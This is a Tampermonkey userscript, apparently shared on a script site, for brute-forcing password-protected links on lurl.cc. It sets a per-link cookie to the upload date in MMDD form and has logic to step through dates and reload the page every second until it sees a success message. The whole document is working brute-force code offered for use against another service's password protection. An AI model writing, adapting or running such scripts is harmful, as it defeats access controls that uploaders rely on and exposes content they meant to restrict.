暴力破解lurl密碼(使用日期)

password as date

目前为 2023-10-06 提交的版本。查看 最新版本

// ==UserScript==
// @license MIT
// @name         暴力破解lurl密碼(使用日期)
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  password as date
// @author       You
// @match        https://lurl.cc/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=lurl.cc
// @grant        none

// ==/UserScript==

(function() {
// 从当前页面的URL中提取特定部分来构建Cookie名称


let cookieName=getCookieNameFromURL()

// 获取当前的psc_t2Ic0 Cookie值
function getPscCookieValue() {
  var cookies = document.cookie.split('; ');
  for (var i = 0; i < cookies.length; i++) {
    var cookie = cookies[i].split('=');
    if (cookie[0] === cookieName) {
      return cookie[1];
    }
  }
  return null;
}

var stopCondition = "成功";

function checkStopCondition() {
  var stopElement = document.querySelector("#back_top > div.container.NEWii_con > section:nth-child(6) > div > div > h2 > span");
  return stopElement.textContent.includes(stopCondition);
}

function padZero(number) {
  return (number < 10 ? '0' : '') + number;
}

function simulateCookieModification() {
  var currentCookieValue = getPscCookieValue();

  if (!checkStopCondition()) {
    // 确保当前Cookie值存在且是数字
    if (currentCookieValue !== null && !isNaN(parseInt(currentCookieValue))) {
      var currentValue = parseInt(currentCookieValue);

      // 增加日期
      if (currentValue >= 101 && currentValue <= 1231) {
        currentValue++; // 增加一天
        if (currentValue % 100 > 31) {
          currentValue = (Math.floor(currentValue / 100) + 1) * 100 + 1; // 下一个月的第一天
        }

        // 更新Cookie值并添加零
        var paddedValue = padZero(currentValue);
        document.cookie = cookieName + "=" + paddedValue;
        console.log("目前进度: " + paddedValue);

        // 设置定时器,在1秒后刷新页面
        setTimeout(function() {
          location.reload();
        }, 1000);
      }
    }
  } else {
    console.log("已停止循环,找到符合条件的内容");
  }
}

function getCookieNameFromURL() {
  var url = window.location.href;
  var match = url.match(/https:\/\/lurl.cc\/(\w+)/);
  if (match && match[1]) {
    return "psc_" + match[1];
  }
  return null;
}


function tryToday(){


// 获取包含日期信息的文本
var dateText = document.querySelector("#form_password > div:nth-child(9) > div > span").textContent;

// 使用正则表达式匹配日期部分(yyyy-mm-dd hh:mm:ss)
var datePattern = /(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2}):(\d{2})/;
var match = dateText.match(datePattern);

if (match) {
  // 提取月份和日期部分
  var year = match[1];
  var month = match[2];
  var day = match[3];

  // 将月份和日期部分组合成 "mmdd" 格式
  var formattedDate = month + day;

  console.log("提取的日期部分:" + formattedDate);
} else {
  console.log("未找到日期信息。");
}

 document.cookie = cookieName + "=" + formattedDate;


location.reload()
}

    tryToday()

})();